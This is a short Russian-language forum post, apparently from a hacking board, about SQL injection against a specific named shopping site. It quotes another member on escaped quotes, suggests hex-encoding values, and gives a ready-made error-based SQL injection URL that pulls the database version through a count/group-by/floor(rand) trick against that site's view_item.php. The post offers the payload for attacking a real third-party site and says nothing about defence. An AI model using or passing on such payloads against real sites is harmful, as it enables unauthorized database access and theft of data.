24.07.2011, 12:32
|
|
Познающий
Регистрация: 17.04.2009
Сообщений: 59
С нами:
8982831
Репутация:
37
|
|
Сообщение от winstrool
вот пример синтаксиса как можно использовать UPDATE но естественно тебе надо знать какие есть таблици для формирования правельного запроса...
и логично что кавычки не должны фильтроваться и слешироваться. а они там слешируются _http://www.opulent-style.com/view_item.php?id=1%27
Почему обязательно? Можно перевести значения переменных в hex...
А так, можно крутить через error based.
http://www.opulent-style.com/view_item.php?id=1%20or%20(select%20count(*)from(s elect%201%20union%20select%202%20union%20select%20 3)x%20group%20by%20concat(mid((select%20version()) ,1,64),floor(rand(0)*2)))
|
|
|